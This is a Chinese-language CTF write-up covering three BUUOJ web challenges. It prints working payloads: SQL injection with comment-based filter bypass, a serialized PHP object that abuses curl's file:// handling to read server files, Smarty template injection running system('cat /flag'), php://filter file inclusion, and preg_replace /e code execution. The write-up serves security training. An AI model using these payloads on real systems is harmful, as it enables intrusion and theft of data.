Buuoj题目(1)


做做buuoj上的web题,本萌新纯采集,轻喷(((

[网鼎杯 2018] Fakebook

SQL注入兼反序列化

点开靶机,一眼醒目的login和join,尝试login,那肯定是失败的

所以我们试试注册,填好个人信息之后点击提交,但是提示Blog is not valid.

所以应该是博客地址的问题,应该是要一个确切的博客地址

所以这里把博客的地址都填上(只用填github.io的就可以了)

然后观察url发现no=1

于是尝试no=1’

发现SQL报错了

于是进行SQL注入

1
no=-1'union select 1,2,3,4#

回显 no hack _,说明过滤了关键词

接下来就是测试关键词的时候

发现union 无no hack回显 union select 有no hack 回显

应该是过滤了空格

所以使用

1
no=-1'union/**/select/**/1,2,3,4#

发现报错,去掉单引号

1
no=-1/**/union/**/select/**/1,2,3,4#

发现2号位回显正常

然后上方有个notice: unserialize()

说明有反序列化的存在

1
no=-1/**/union/**/select/**/1,database(),3,4#

爆出库名 fakebook

1
no=-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

爆出表名 users

1
no=-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'#

爆出列名 no username passwd data

1
no=-1/**/union/**/select/**/1,group_concat(data),3,4/**/from/**/users#

发现了一串序列化的结果

然后似乎就做不下去了。。。

应该还有一些隐藏的文件吧,打开F12也没有提示

所以应该是存在敏感文件

打开dirsearch扫一下… 不过由于buuoj有反爬这个特性在,所以很难受的就是需要加上delay,使得扫描的过程十分的慢…

推荐盲试 robots.txt www.zip .bak啥的

在robots.txt发现:

1
2
User-agent: *
Disallow: /user.php.bak

直接访问/user.php.bak获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();//curl_exec ssrf漏洞,请求协议
//使用ssrf的file:///协议

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;//返回内容
}

public function getBlogContents ()//获取博客内容
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

所以我们只需要序列化用file协议写出的flag位置,读入后使用curl就能够返回flag的内容了

flag应该在根目录,那么序列化如下:

1
2
3
4
5
6
7
8
9
10
<?php
class UserInfo{
public $name = "";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo serialize($a)
?>
//O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

所以使用sql的语句写入内容:

1
no=-1/**/union/**/select/**/1,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}',3,4#

如果没有内容,打开F12试试,如果也没有的话就换位置

测试3、4号位:

1
no=-1/**/union/**/select/**/1,2,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}',4#
1
no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

发现4号位回显正常,打开F12即可获取flag

[BJDCTF2020] The mystery of ip

smarty 模板注入

打开靶机

点击Flag,发现显示的是你的IP

点击Hint,发现提示:

1
<!-- Do you know why i know your ip? -->

修改ip的话,应该是X-Forward-For的问题,所以我们使用burp抓包进行测试

修改X-Forward-For为127.0.0.1,显示为127.0.0.1

试试修改为{7*7},发现显示为49

应该就是ssti模板注入了,然后祭出经典老图

其实也可以通过

1
{config}

查看哪个模板

所以是smarty的ssti注入

smarty的模板注入直接使用系统命令即可:

1
2
3
4
可以使用
{if system('cat /flag')}{/if}
也可以直接使用
{system('cat /flag')}

获得flag

[BJDCTF2020]ZJCTF,不过如此

[ZJCTF2019]NiZhuanSiWei的复刻了属于是(雾)

直接看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

同样的写入,文件包含以及一个next.php

那我们直接data协议写入,php://filter文件包含即可

1
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

获得next.php内的base64代码,进行一个decode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

经典再现:

指路Day 4: Baby match(每日一题)

preg_replace /e能够执行strolower(“\\1”)的内容

preg_replace输入的第一个是正则表达式re,然后将re,然后将str的值替换进strtolower(“\\1”)

也就相当于是

1
eval('strtolower("\\1")')

也就是说我们需要传入一个正则表达式,以及一个需要执行的命令,这个正则表达式能够匹配所有的字符

正则表达式:.*又称为贪婪模式,可以匹配到所有的字符

但是url中不能够使用 . 会被php读取成下划线

所以我们可以使用另外一个正则表达式:\S*

这个正则表达式可以匹配任何非空字符,等价于:

1
[^ \f\n\r\t\v]

然后我们传入的命令需要调用getFlag函数,执行eval函数:

所以写成${getFlag()},而eval函数直接执行get传参cmd传入的命令

所以cmd=system(‘cat /flag’);

但是由于这段代码是在next.php内的,所以我们需要进入next.php并且执行命令

1
2
payload:
url/next.php?\S*=${getflag()}&cmd=system('cat /flag');

未完待续捏


参考资料: